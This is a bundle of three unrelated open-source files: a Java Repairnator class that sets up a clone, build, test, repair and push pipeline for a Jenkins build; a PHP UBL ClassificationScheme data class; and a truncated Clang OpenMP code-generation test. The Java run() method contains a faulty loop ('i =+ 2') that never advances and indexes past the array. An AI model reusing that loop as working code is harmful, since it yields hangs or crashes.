import fr.inria.spirals.repairnator.pipeline.RepairToolsManager;
import fr.inria.spirals.repairnator.process.git.GitHelper;
import fr.inria.spirals.repairnator.process.inspectors.properties.Properties;
import fr.inria.spirals.repairnator.process.inspectors.properties.machineInfo.MachineInfo;
import fr.inria.spirals.repairnator.process.step.AbstractStep;
import fr.inria.spirals.repairnator.process.step.AddExperimentalPluginRepo;
import fr.inria.spirals.repairnator.process.step.BuildProject;
import fr.inria.spirals.repairnator.process.step.JenkinsCloneRepository;
import fr.inria.spirals.repairnator.process.step.TestProject;
import fr.inria.spirals.repairnator.process.step.WritePropertyFile;
import fr.inria.spirals.repairnator.process.step.checkoutrepository.CheckoutBuggyBuild;
import fr.inria.spirals.repairnator.process.step.checkoutrepository.CheckoutPatchedBuild;
import fr.inria.spirals.repairnator.process.step.checkoutrepository.CheckoutType;
import fr.inria.spirals.repairnator.process.step.gatherinfo.BuildShouldFail;
import fr.inria.spirals.repairnator.process.step.gatherinfo.BuildShouldPass;
import fr.inria.spirals.repairnator.process.step.gatherinfo.GatherTestInformation;
import fr.inria.spirals.repairnator.process.step.paths.ComputeClasspath;
import fr.inria.spirals.repairnator.process.step.paths.ComputeModules;
import fr.inria.spirals.repairnator.process.step.paths.ComputeSourceDir;
import fr.inria.spirals.repairnator.process.step.paths.ComputeTestDir;
import fr.inria.spirals.repairnator.process.step.push.CommitPatch;
import fr.inria.spirals.repairnator.process.step.push.CommitProcessEnd;
import fr.inria.spirals.repairnator.process.step.push.CommitType;
import fr.inria.spirals.repairnator.process.step.push.InitRepoToPush;
import fr.inria.spirals.repairnator.process.step.push.PushProcessEnd;
import fr.inria.spirals.repairnator.process.step.repair.AbstractRepairStep;
import fr.inria.spirals.repairnator.serializer.AbstractDataSerializer;
import fr.inria.spirals.repairnator.states.ScannedBuildStatus;
import fr.inria.spirals.repairnator.utils.Utils;
import org.kohsuke.github.GHRepository;
import org.kohsuke.github.GitHub;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.File;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.Map;
/**
* This class initialize the pipelines by creating the steps:
* it's the backbone of the pipeline.
*/
public class JenkinsProjectInspector extends ProjectInspector{
private final Logger logger = LoggerFactory.getLogger(ProjectInspector.class);
private GitHelper gitHelper;
private BuildToBeInspected buildToBeInspected;
private String gitUrl;
private String gitSlug;
private String gitBranch;
private String gitCommit;
private String repoLocalPath;
private String repoToPushLocalPath;
private String workspace;
private String m2LocalPath;
private List<AbstractDataSerializer> serializers;
private JobStatus jobStatus;
private List<AbstractNotifier> notifiers;
private PatchNotifier patchNotifier;
private CheckoutType checkoutType;
private List<AbstractStep> steps;
private AbstractStep finalStep;
private boolean pipelineEnding;
public JenkinsProjectInspector(BuildToBeInspected buildToBeInspected, String workspace, List<AbstractDataSerializer> serializers, List<AbstractNotifier> notifiers) {
super(buildToBeInspected,workspace,serializers,notifiers);
}
public JenkinsProjectInspector(String workspace,String gitUrl,String gitBranch,String gitCommit,List<AbstractDataSerializer> serializers, List<AbstractNotifier> notifiers) {
super(workspace,gitUrl,gitBranch,gitCommit,serializers,notifiers);
this.gitUrl = gitUrl;
this.gitBranch = gitBranch;
this.gitCommit = gitCommit;
this.gitSlug = this.gitUrl.split("https://github.com/",2)[1].replace(".git","");
this.workspace = workspace;
this.repoLocalPath = workspace + File.separator + this.getRepoSlug();
this.repoToPushLocalPath = repoLocalPath+"_topush";
this.m2LocalPath = new File(this.repoLocalPath + File.separator + ".m2").getAbsolutePath();
this.serializers = null;
this.gitHelper = new GitHelper();
this.jobStatus = new JobStatus(repoLocalPath);
this.notifiers = notifiers;
this.checkoutType = CheckoutType.NO_CHECKOUT;
this.steps = new ArrayList<>();
this.initProperties();
}
/* This is the new branch for end process */
@Override
public String getRemoteBranchName() {
return this.getRepoSlug().replace('/', '-');
}
@Override
public String getRepoSlug() {
return this.gitSlug;
}
public String getGitUrl() {
return this.gitUrl;
}
/* This is the branch , which repairnator will repair*/
public String getCheckoutBranchName() {
return this.gitBranch;
}
public String getGitCommit() {
return this.gitCommit;
}
@Override
protected void initProperties() {
try {
Properties properties = this.jobStatus.getProperties();
/* ProcessDurations use checkoutBuggyBuild*/
fr.inria.spirals.repairnator.process.inspectors.properties.repository.Repository repository = properties.getRepository();
repository.setName(this.getRepoSlug());
repository.setUrl(this.getGitUrl());
GitHub gitHub;
try {
gitHub = RepairnatorConfig.getInstance().getGithub();
GHRepository repo = gitHub.getRepository(this.getRepoSlug());
repository.setGithubId(repo.getId());
if (repo.isFork()) {
repository.setIsFork(true);
repository.getOriginal().setName(repo.getParent().getFullName());
repository.getOriginal().setGithubId(repo.getParent().getId());
repository.getOriginal().setUrl(Utils.getSimpleGithubRepoUrl(repo.getParent().getFullName()));
}
} catch (IOException e) {
this.logger.warn("It was not possible to retrieve information to check if " + this.getRepoSlug() + " is a fork.");
this.logger.debug(e.toString());
}
} catch (Exception e) {
this.logger.error("Error while initializing metrics.", e);
}
}
public String getRepoLocalPath() {
return this.repoLocalPath;
}
public void run() {
AbstractStep cloneRepo = new JenkinsCloneRepository(this);
// If we have experimental plugins, we need to add them here.
String[] repos = RepairnatorConfig.getInstance().getExperimentalPluginRepoList();
if(repos != null) {
for(int i = 0; i < repos.length-1; i =+ 2) {
cloneRepo.addNextStep(new AddExperimentalPluginRepo(this, repos[i], repos[i+1], repos[i+2]));
}
}
cloneRepo
.addNextStep(new BuildProject(this))
.addNextStep(new TestProject(this))
.addNextStep(new GatherTestInformation(this, true, new BuildShouldFail(), false))
.addNextStep(new InitRepoToPush(this))
.addNextStep(new ComputeClasspath(this, false))
.addNextStep(new ComputeSourceDir(this, false, false))
.addNextStep(new ComputeTestDir(this, false));
for (String repairToolName : RepairnatorConfig.getInstance().getRepairTools()) {
AbstractRepairStep repairStep = RepairToolsManager.getStepFromName(repairToolName);
if (repairStep != null) {
repairStep.setProjectInspector(this);
cloneRepo.addNextStep(repairStep);
} else {
logger.error("Error while getting repair step class for following name: " + repairToolName);
}
}
cloneRepo.addNextStep(new CommitPatch(this, CommitType.COMMIT_REPAIR_INFO))
.addNextStep(new CheckoutPatchedBuild(this, true))
.addNextStep(new BuildProject(this))
.addNextStep(new TestProject(this))
.addNextStep(new GatherTestInformation(this, true, new BuildShouldPass(), true))
.addNextStep(new CommitPatch(this, CommitType.COMMIT_HUMAN_PATCH));
this.finalStep = new ComputeSourceDir(this, false, true); // this step is used to compute code metrics on the project
this.finalStep.
addNextStep(new ComputeModules(this, false)).
addNextStep(new WritePropertyFile(this)).
addNextStep(new CommitProcessEnd(this)).
addNextStep(new PushProcessEnd(this));
cloneRepo.setDataSerializer(this.serializers);
cloneRepo.setNotifiers(this.notifiers);
this.printPipeline();
try {
cloneRepo.execute();
} catch (Exception e) {
this.jobStatus.addStepError("Unknown", e.getMessage());
this.logger.error("Exception catch while executing steps: ", e);
this.jobStatus.setFatalError(e);
ErrorNotifier errorNotifier = ErrorNotifier.getInstance();
if (errorNotifier != null) {
errorNotifier.observe(this);
}
for (AbstractDataSerializer serializer : this.serializers) {
serializer.serialize();
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
<?php
namespace oasis\names\specification\ubl\schema\xsd\CommonAggregateComponents_2;
/**
* @xmlNamespace urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2
* @xmlType
* @xmlName ClassificationSchemeType
* @var oasis\names\specification\ubl\schema\xsd\CommonAggregateComponents_2\ClassificationSchemeType
* @xmlComponentType ABIE
* @xmlDictionaryEntryName Classification Scheme. Details
* @xmlDefinition Information about Classification Scheme; a scheme that defines a taxonomy for classifying goods or services.
* @xmlObjectClass Classification Scheme
*/
class ClassificationSchemeType
{
/**
* @ComponentType BBIE
* @DictionaryEntryName Classification Scheme. Identifier
* @Definition An identifier for the classification scheme.
* @Cardinality 1
* @ObjectClass Classification Scheme
* @PropertyTerm Identifier
* @RepresentationTerm Identifier
* @DataType Identifier. Type
* @xmlType element
* @xmlNamespace urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2
* @xmlMinOccurs 1
* @xmlMaxOccurs 1
* @xmlName ID
* @var oasis\names\specification\ubl\schema\xsd\CommonBasicComponents_2\ID
*/
public $ID;
/**
* @ComponentType BBIE
* @DictionaryEntryName Classification Scheme. UUID. Identifier
* @Definition A universally unique identifier for an instance of this ABIE.
* @Cardinality 0..1
* @ObjectClass Classification Scheme
* @PropertyTerm UUID
* @RepresentationTerm Identifier
* @DataType Identifier. Type
* @xmlType element
* @xmlNamespace urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2
* @xmlMinOccurs 0
* @xmlMaxOccurs 1
* @xmlName UUID
* @var oasis\names\specification\ubl\schema\xsd\CommonBasicComponents_2\UUID
*/
public $UUID;
/**
* @ComponentType BBIE
* @DictionaryEntryName Classification Scheme. Last_ Revision Date. Date
* @Definition The date at which the classification scheme was last revised.
* @Cardinality 0..1
* @ObjectClass Classification Scheme
* @PropertyTermQualifier Last
* @PropertyTerm Revision Date
* @RepresentationTerm Date
* @DataType Date. Type
* @xmlType element
* @xmlNamespace urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2
* @xmlMinOccurs 0
* @xmlMaxOccurs 1
* @xmlName LastRevisionDate
* @var oasis\names\specification\ubl\schema\xsd\CommonBasicComponents_2\LastRevisionDate
*/
public $LastRevisionDate;
/**
* @ComponentType BBIE
* @DictionaryEntryName Classification Scheme. Last_ Revision Time. Time
* @Definition The time at which the classification scheme was last revised.
* @Cardinality 0..1
* @ObjectClass Classification Scheme
* @PropertyTermQualifier Last
* @PropertyTerm Revision Time
* @RepresentationTerm Time
* @DataType Time. Type
* @xmlType element
* @xmlNamespace urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2
* @xmlMinOccurs 0
* @xmlMaxOccurs 1
* @xmlName LastRevisionTime
* @var oasis\names\specification\ubl\schema\xsd\CommonBasicComponents_2\LastRevisionTime
*/
public $LastRevisionTime;
/**
* @ComponentType BBIE
* @DictionaryEntryName Classification Scheme. Note. Text
* @Definition Free-form text applying to the Classification Scheme. This element may contain notes or any other similar information that is not contained explicitly in another structure.
* @Cardinality 0..1
* @ObjectClass Classification Scheme
* @PropertyTerm Note
* @RepresentationTerm Text
* @DataType Text. Type
* @xmlType element
* @xmlNamespace urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2
* @xmlMinOccurs 0
* @xmlMaxOccurs 1
* @xmlName Note
* @var oasis\names\specification\ubl\schema\xsd\CommonBasicComponents_2\Note
*/
public $Note;
/**
* @ComponentType BBIE
* @DictionaryEntryName Classification Scheme. Name
* @Definition The name of the Classification Scheme.
* @Cardinality 0..1
* @ObjectClass Classification Scheme
* @PropertyTerm Name
* @RepresentationTerm Name
* @DataType Name. Type
* @Examples "UNSPSC"
* @xmlType element
* @xmlNamespace urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2
* @xmlMinOccurs 0
* @xmlMaxOccurs 1
* @xmlName Name
* @var oasis\names\specification\ubl\schema\xsd\CommonBasicComponents_2\Name
*/
public $Name;
/**
* @ComponentType BBIE
* @DictionaryEntryName Classification Scheme. Description. Text
* @Definition A description of the Classification Scheme.
* @Cardinality 0..n
* @ObjectClass Classification Scheme
* @PropertyTerm Description
* @RepresentationTerm Text
* @DataType Text. Type
* @Examples "an open, global multi-sector standard for classification of products and services"
* @xmlType element
* @xmlNamespace urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2
* @xmlMinOccurs 0
* @xmlMaxOccurs unbounded
* @xmlName Description
* @var oasis\names\specification\ubl\schema\xsd\CommonBasicComponents_2\Description
*/
public $Description;
/**
* @ComponentType BBIE
* @DictionaryEntryName Classification Scheme. Agency Identifier. Identifier
* @Definition Identifies the agency that maintains the Classification Scheme.
* @Cardinality 0..1
* @ObjectClass Classification Scheme
* @PropertyTerm Agency Identifier
* @RepresentationTerm Identifier
* @DataType Identifier. Type
* @Examples Defaults to the UN/EDIFACT data element 3055 code list.
* @xmlType element
* @xmlNamespace urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2
* @xmlMinOccurs 0
* @xmlMaxOccurs 1
* @xmlName AgencyID
* @var oasis\names\specification\ubl\schema\xsd\CommonBasicComponents_2\AgencyID
*/
public $AgencyID;
/**
* @ComponentType BBIE
* @DictionaryEntryName Classification Scheme. Agency Name. Text
* @Definition The name of the agency that maintains the Classification Scheme.
* @Cardinality 0..1
* @ObjectClass Classification Scheme
* @PropertyTerm Agency Name
* @RepresentationTerm Text
* @DataType Text. Type
* @xmlType element
* @xmlNamespace urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2
* @xmlMinOccurs 0
* @xmlMaxOccurs 1
* @xmlName AgencyName
* @var oasis\names\specification\ubl\schema\xsd\CommonBasicComponents_2\AgencyName
*/
public $AgencyName;
/**
* @ComponentType BBIE
* @DictionaryEntryName Classification Scheme. Version. Identifier
* @Definition Identifies the version of the Classification Scheme.
* @Cardinality 0..1
* @ObjectClass Classification Scheme
* @PropertyTerm Version
* @RepresentationTerm Identifier
* @DataType Identifier. Type
* @xmlType element
* @xmlNamespace urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2
* @xmlMinOccurs 0
* @xmlMaxOccurs 1
* @xmlName VersionID
* @var oasis\names\specification\ubl\schema\xsd\CommonBasicComponents_2\VersionID
*/
public $VersionID;
/**
* @ComponentType BBIE
* @DictionaryEntryName Classification Scheme. URI. Identifier
* @Definition The Uniform Resource Identifier (URI) that identifies where the Classification is located.
* @Cardinality 0..1
* @ObjectClass Classification Scheme
* @PropertyTerm URI
* @RepresentationTerm Identifier
* @DataType Identifier. Type
* @xmlType element
* @xmlNamespace urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2
* @xmlMinOccurs 0
* @xmlMaxOccurs 1
* @xmlName URI
* @var oasis\names\specification\ubl\schema\xsd\CommonBasicComponents_2\URI
*/
public $URI;
/**
* @ComponentType BBIE
* @DictionaryEntryName Classification Scheme. Scheme_ URI. Identifier
* @Definition The Uniform Resource Identifier (URI) that identifies where the Classification Scheme is located.
* @Cardinality 0..1
* @ObjectClass Classification Scheme
* @PropertyTermQualifier Scheme
* @PropertyTerm URI
* @RepresentationTerm Identifier
* @DataType Identifier. Type
* @xmlType element
* @xmlNamespace urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2
* @xmlMinOccurs 0
* @xmlMaxOccurs 1
* @xmlName SchemeURI
* @var oasis\names\specification\ubl\schema\xsd\CommonBasicComponents_2\SchemeURI
*/
public $SchemeURI;
/**
* @ComponentType BBIE
* @DictionaryEntryName Classification Scheme. Language. Identifier
* @Definition Identifies the language of the Classification Scheme.
* @Cardinality 0..1
* @ObjectClass Classification Scheme
* @PropertyTerm Language
* @RepresentationTerm Identifier
* @DataType Identifier. Type
* @xmlType element
* @xmlNamespace urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2
* @xmlMinOccurs 0
* @xmlMaxOccurs 1
* @xmlName LanguageID
* @var oasis\names\specification\ubl\schema\xsd\CommonBasicComponents_2\LanguageID
*/
public $LanguageID;
/**
* @ComponentType ASBIE
* @DictionaryEntryName Classification Scheme. Classification Category
* @Definition An association to Classification Category.
* @Cardinality 1..n
* @ObjectClass Classification Scheme
* @PropertyTerm Classification Category
* @AssociatedObjectClass Classification Category
* @xmlType element
* @xmlNamespace urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2
* @xmlMinOccurs 1
* @xmlMaxOccurs unbounded
* @xmlName ClassificationCategory
* @var oasis\names\specification\ubl\schema\xsd\CommonAggregateComponents_2\ClassificationCategory
*/
public $ClassificationCategory;
} // end class ClassificationSchemeType
|
{
"pile_set_name": "Github"
}
|
// RUN: %clang_cc1 -verify -fopenmp -x c++ -triple x86_64-unknown-unknown -emit-llvm %s -fexceptions -fcxx-exceptions -o - | FileCheck %s
// RUN: %clang_cc1 -fopenmp -x c++ -std=c++11 -triple x86_64-unknown-unknown -fexceptions -fcxx-exceptions -emit-pch -o %t %s
// RUN: %clang_cc1 -fopenmp -x c++ -triple x86_64-unknown-unknown -fexceptions -fcxx-exceptions -std=c++11 -include-pch %t -verify %s -emit-llvm -o - | FileCheck %s
// RUN: %clang_cc1 -verify -triple x86_64-apple-darwin10 -fopenmp -fexceptions -fcxx-exceptions -debug-info-kind=line-tables-only -x c++ -emit-llvm %s -o - | FileCheck %s --check-prefix=TERM_DEBUG
// RUN: %clang_cc1 -verify -triple x86_64-apple-darwin10 -O1 -fopenmp -emit-llvm %s -o - | FileCheck %s --check-prefix=CLEANUP
// RUN: %clang_cc1 -verify -fopenmp-simd -x c++ -triple x86_64-unknown-unknown -emit-llvm %s -fexceptions -fcxx-exceptions -o - | FileCheck --check-prefix SIMD-ONLY0 %s
// RUN: %clang_cc1 -fopenmp-simd -x c++ -std=c++11 -triple x86_64-unknown-unknown -fexceptions -fcxx-exceptions -emit-pch -o %t %s
// RUN: %clang_cc1 -fopenmp-simd -x c++ -triple x86_64-unknown-unknown -fexceptions -fcxx-exceptions -std=c++11 -include-pch %t -verify %s -emit-llvm -o - | FileCheck --check-prefix SIMD-ONLY0 %s
// RUN: %clang_cc1 -verify -triple x86_64-apple-darwin10 -fopenmp-simd -fexceptions -fcxx-exceptions -debug-info-kind=line-tables-only -x c++ -emit-llvm %s -o - | FileCheck --check-prefix SIMD-ONLY0 %s
// RUN: %clang_cc1 -verify -triple x86_64-apple-darwin10 -O1 -fopenmp-simd -emit-llvm %s -o - | FileCheck --check-prefix SIMD-ONLY0 %s
// SIMD-ONLY0-NOT: {{__kmpc|__tgt}}
// expected-no-diagnostics
#ifndef HEADER
#define HEADER
// CHECK-DAG: [[IDENT_T_TY:%.+]] = type { i32, i32, i32, i32, i8* }
// CHECK-DAG: [[LOOP_LOC:@.+]] = private unnamed_addr global [[IDENT_T_TY]] { i32 0, i32 514, i32 0, i32 0, i8*
// CHECK-LABEL: with_var_schedule
void with_var_schedule() {
double a = 5;
// CHECK: [[CHUNK_SIZE:%.+]] = fptosi double %{{.+}}to i8
// CHECK: store i8 %{{.+}}, i8* [[CHUNK:%.+]],
// CHECK: [[VAL:%.+]] = load i8, i8* [[CHUNK]],
// CHECK: store i8 [[VAL]], i8*
// CHECK: [[CHUNK:%.+]] = load i64, i64* %
// CHECK: call void {{.+}} @__kmpc_fork_call({{.+}}, i64 [[CHUNK]])
// CHECK: [[CHUNK_VAL:%.+]] = load i8, i8* %
// CHECK: [[CHUNK_SIZE:%.+]] = sext i8 [[CHUNK_VAL]] to i64
// CHECK: call void @__kmpc_for_static_init_8u([[IDENT_T_TY]]* [[LOOP_LOC]], i32 [[GTID:%[^,]+]], i32 33, i32* [[IS_LAST:%[^,]+]], i64* [[OMP_LB:%[^,]+]], i64* [[OMP_UB:%[^,]+]], i64* [[OMP_ST:%[^,]+]], i64 1, i64 [[CHUNK_SIZE]])
// CHECK: call void @__kmpc_for_static_fini([[IDENT_T_TY]]* [[LOOP_LOC]], i32 [[GTID]])
#pragma omp parallel for schedule(static, char(a))
for (unsigned long long i = 1; i < 2; ++i) {
}
}
// CHECK-LABEL: define {{.*void}} @{{.*}}without_schedule_clause{{.*}}(float* {{.+}}, float* {{.+}}, float* {{.+}}, float* {{.+}})
void without_schedule_clause(float *a, float *b, float *c, float *d) {
#pragma omp parallel for
// CHECK: call void ([[IDENT_T_TY]]*, i32, void (i32*, i32*, ...)*, ...) @__kmpc_fork_call([[IDENT_T_TY]]* [[DEFAULT_LOC:[@%].+]], i32 4, void (i32*, i32*, ...)* bitcast (void (i32*, i32*, float**, float**, float**, float**)* [[OMP_PARALLEL_FUNC:@.+]] to void (i32*, i32*, ...)*),
// CHECK: define internal void [[OMP_PARALLEL_FUNC]](i32* noalias [[GTID_PARAM_ADDR:%.+]], i32* noalias %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}})
// CHECK: store i32* [[GTID_PARAM_ADDR]], i32** [[GTID_REF_ADDR:%.+]],
// CHECK: call void @__kmpc_for_static_init_4([[IDENT_T_TY]]* [[LOOP_LOC]], i32 [[GTID:%.+]], i32 34, i32* [[IS_LAST:%[^,]+]], i32* [[OMP_LB:%[^,]+]], i32* [[OMP_UB:%[^,]+]], i32* [[OMP_ST:%[^,]+]], i32 1, i32 1)
// UB = min(UB, GlobalUB)
// CHECK-NEXT: [[UB:%.+]] = load i32, i32* [[OMP_UB]]
// CHECK-NEXT: [[UBCMP:%.+]] = icmp sgt i32 [[UB]], 4571423
// CHECK-NEXT: br i1 [[UBCMP]], label [[UB_TRUE:%[^,]+]], label [[UB_FALSE:%[^,]+]]
// CHECK: [[UBRESULT:%.+]] = phi i32 [ 4571423, [[UB_TRUE]] ], [ [[UBVAL:%[^,]+]], [[UB_FALSE]] ]
// CHECK-NEXT: store i32 [[UBRESULT]], i32* [[OMP_UB]]
// CHECK-NEXT: [[LB:%.+]] = load i32, i32* [[OMP_LB]]
// CHECK-NEXT: store i32 [[LB]], i32* [[OMP_IV:[^,]+]]
// Loop header
// CHECK: [[IV:%.+]] = load i32, i32* [[OMP_IV]]
// CHECK-NEXT: [[UB:%.+]] = load i32, i32* [[OMP_UB]]
// CHECK-NEXT: [[CMP:%.+]] = icmp sle i32 [[IV]], [[UB]]
// CHECK-NEXT: br i1 [[CMP]], label %[[LOOP1_BODY:[^,]+]], label %[[LOOP1_END:[^,]+]]
for (int i = 33; i < 32000000; i += 7) {
// CHECK: [[LOOP1_BODY]]
// Start of body: calculate i from IV:
// CHECK: [[IV1_1:%.+]] = load i32, i32* [[OMP_IV]]
// CHECK-NEXT: [[CALC_I_1:%.+]] = mul nsw i32 [[IV1_1]], 7
// CHECK-NEXT: [[CALC_I_2:%.+]] = add nsw i32 33, [[CALC_I_1]]
// CHECK-NEXT: store i32 [[CALC_I_2]], i32* [[LC_I:.+]]
// ... loop body ...
// End of body: store into a[i]:
// CHECK: store float [[RESULT:%.+]], float* {{%.+}}
a[i] = b[i] * c[i] * d[i];
// CHECK: [[IV1_2:%.+]] = load i32, i32* [[OMP_IV]]{{.*}}
// CHECK-NEXT: [[ADD1_2:%.+]] = add nsw i32 [[IV1_2]], 1
// CHECK-NEXT: store i32 [[ADD1_2]], i32* [[OMP_IV]]
// CHECK-NEXT: br label %{{.+}}
}
// CHECK: [[LOOP1_END]]
// CHECK: call void @__kmpc_for_static_fini([[IDENT_T_TY]]* [[LOOP_LOC]], i32 [[GTID]])
// CHECK: ret void
}
// CHECK-LABEL: define {{.*void}} @{{.*}}static_not_chunked{{.*}}(float* {{.+}}, float* {{.+}}, float* {{.+}}, float* {{.+}})
void static_not_chunked(float *a, float *b, float *c, float *d) {
#pragma omp parallel for schedule(static)
// CHECK: call void ([[IDENT_T_TY]]*, i32, void (i32*, i32*, ...)*, ...) @__kmpc_fork_call([[IDENT_T_TY]]* [[DEFAULT_LOC:[@%].+]], i32 4, void (i32*, i32*, ...)* bitcast (void (i32*, i32*, float**, float**, float**, float**)* [[OMP_PARALLEL_FUNC:@.+]] to void (i32*, i32*, ...)*),
// CHECK: define internal void [[OMP_PARALLEL_FUNC]](i32* noalias [[GTID_PARAM_ADDR:%.+]], i32* noalias %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}})
// CHECK: store i32* [[GTID_PARAM_ADDR]], i32** [[GTID_REF_ADDR:%.+]],
// CHECK: call void @__kmpc_for_static_init_4([[IDENT_T_TY]]* [[LOOP_LOC]], i32 [[GTID:%.+]], i32 34, i32* [[IS_LAST:%[^,]+]], i32* [[OMP_LB:%[^,]+]], i32* [[OMP_UB:%[^,]+]], i32* [[OMP_ST:%[^,]+]], i32 1, i32 1)
// UB = min(UB, GlobalUB)
// CHECK-NEXT: [[UB:%.+]] = load i32, i32* [[OMP_UB]]
// CHECK-NEXT: [[UBCMP:%.+]] = icmp sgt i32 [[UB]], 4571423
// CHECK-NEXT: br i1 [[UBCMP]], label [[UB_TRUE:%[^,]+]], label [[UB_FALSE:%[^,]+]]
// CHECK: [[UBRESULT:%.+]] = phi i32 [ 4571423, [[UB_TRUE]] ], [ [[UBVAL:%[^,]+]], [[UB_FALSE]] ]
// CHECK-NEXT: store i32 [[UBRESULT]], i32* [[OMP_UB]]
// CHECK-NEXT: [[LB:%.+]] = load i32, i32* [[OMP_LB]]
// CHECK-NEXT: store i32 [[LB]], i32* [[OMP_IV:[^,]+]]
// Loop header
// CHECK: [[IV:%.+]] = load i32, i32* [[OMP_IV]]
// CHECK-NEXT: [[UB:%.+]] = load i32, i32* [[OMP_UB]]
// CHECK-NEXT: [[CMP:%.+]] = icmp sle i32 [[IV]], [[UB]]
// CHECK-NEXT: br i1 [[CMP]], label %[[LOOP1_BODY:[^,]+]], label %[[LOOP1_END:[^,]+]]
for (int i = 32000000; i > 33; i += -7) {
// CHECK: [[LOOP1_BODY]]
// Start of body: calculate i from IV:
// CHECK: [[IV1_1:%.+]] = load i32, i32* [[OMP_IV]]
// CHECK-NEXT: [[CALC_I_1:%.+]] = mul nsw i32 [[IV1_1]], 7
// CHECK-NEXT: [[CALC_I_2:%.+]] = sub nsw i32 32000000, [[CALC_I_1]]
// CHECK-NEXT: store i32 [[CALC_I_2]], i32* [[LC_I:.+]]
// ... loop body ...
// End of body: store into a[i]:
// CHECK: store float [[RESULT:%.+]], float* {{%.+}}
a[i] = b[i] * c[i] * d[i];
// CHECK: [[IV1_2:%.+]] = load i32, i32* [[OMP_IV]]{{.*}}
// CHECK-NEXT: [[ADD1_2:%.+]] = add nsw i32 [[IV1_2]], 1
// CHECK-NEXT: store i32 [[ADD1_2]], i32* [[OMP_IV]]
// CHECK-NEXT: br label %{{.+}}
}
// CHECK: [[LOOP1_END]]
// CHECK: call void @__kmpc_for_static_fini([[IDENT_T_TY]]* [[LOOP_LOC]], i32 [[GTID]])
// CHECK: ret void
}
// CHECK-LABEL: define {{.*void}} @{{.*}}static_chunked{{.*}}(float* {{.+}}, float* {{.+}}, float* {{.+}}, float* {{.+}})
void static_chunked(float *a, float *b, float *c, float *d) {
#pragma omp parallel for schedule(static, 5)
// CHECK: call void ([[IDENT_T_TY]]*, i32, void (i32*, i32*, ...)*, ...) @__kmpc_fork_call([[IDENT_T_TY]]* [[DEFAULT_LOC:[@%].+]], i32 4, void (i32*, i32*, ...)* bitcast (void (i32*, i32*, float**, float**, float**, float**)* [[OMP_PARALLEL_FUNC:@.+]] to void (i32*, i32*, ...)*),
// CHECK: define internal void [[OMP_PARALLEL_FUNC]](i32* noalias [[GTID_PARAM_ADDR:%.+]], i32* noalias %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}})
// CHECK: store i32* [[GTID_PARAM_ADDR]], i32** [[GTID_REF_ADDR:%.+]],
// CHECK: call void @__kmpc_for_static_init_4u([[IDENT_T_TY]]* [[LOOP_LOC]], i32 [[GTID:%.+]], i32 33, i32* [[IS_LAST:%[^,]+]], i32* [[OMP_LB:%[^,]+]], i32* [[OMP_UB:%[^,]+]], i32* [[OMP_ST:%[^,]+]], i32 1, i32 5)
// UB = min(UB, GlobalUB)
// CHECK: [[UB:%.+]] = load i32, i32* [[OMP_UB]]
// CHECK-NEXT: [[UBCMP:%.+]] = icmp ugt i32 [[UB]], 16908288
// CHECK-NEXT: br i1 [[UBCMP]], label [[UB_TRUE:%[^,]+]], label [[UB_FALSE:%[^,]+]]
// CHECK: [[UBRESULT:%.+]] = phi i32 [ 16908288, [[UB_TRUE]] ], [ [[UBVAL:%[^,]+]], [[UB_FALSE]] ]
// CHECK-NEXT: store i32 [[UBRESULT]], i32* [[OMP_UB]]
// CHECK-NEXT: [[LB:%.+]] = load i32, i32* [[OMP_LB]]
// CHECK-NEXT: store i32 [[LB]], i32* [[OMP_IV:[^,]+]]
// Outer loop header
// CHECK: [[O_IV:%.+]] = load i32, i32* [[OMP_IV]]
// CHECK-NEXT: [[O_UB:%.+]] = load i32, i32* [[OMP_UB]]
// CHECK-NEXT: [[O_CMP:%.+]] = icmp ule i32 [[O_IV]], [[O_UB]]
// CHECK-NEXT: br i1 [[O_CMP]], label %[[O_LOOP1_BODY:[^,]+]], label %[[O_LOOP1_END:[^,]+]]
// Loop header
// CHECK: [[O_LOOP1_BODY]]
// CHECK: [[IV:%.+]] = load i32, i32* [[OMP_IV]]
// CHECK-NEXT: [[UB:%.+]] = load i32, i32* [[OMP_UB]]
// CHECK-NEXT: [[CMP:%.+]] = icmp ule i32 [[IV]], [[UB]]
// CHECK-NEXT: br i1 [[CMP]], label %[[LOOP1_BODY:[^,]+]], label %[[LOOP1_END:[^,]+]]
for (unsigned i = 131071; i <= 2147483647; i += 127) {
// CHECK: [[LOOP1_BODY]]
// Start of body: calculate i from IV:
// CHECK: [[IV1_1:%.+]] = load i32, i32* [[OMP_IV]]
// CHECK-NEXT: [[CALC_I_1:%.+]] = mul i32 [[IV1_1]], 127
// CHECK-NEXT: [[CALC_I_2:%.+]] = add i32 131071, [[CALC_I_1]]
// CHECK-NEXT: store i32 [[CALC_I_2]], i32* [[LC_I:.+]]
// ... loop body ...
// End of body: store into a[i]:
// CHECK: store float [[RESULT:%.+]], float* {{%.+}}
a[i] = b[i] * c[i] * d[i];
// CHECK: [[IV1_2:%.+]] = load i32, i32* [[OMP_IV]]{{.*}}
// CHECK-NEXT: [[ADD1_2:%.+]] = add i32 [[IV1_2]], 1
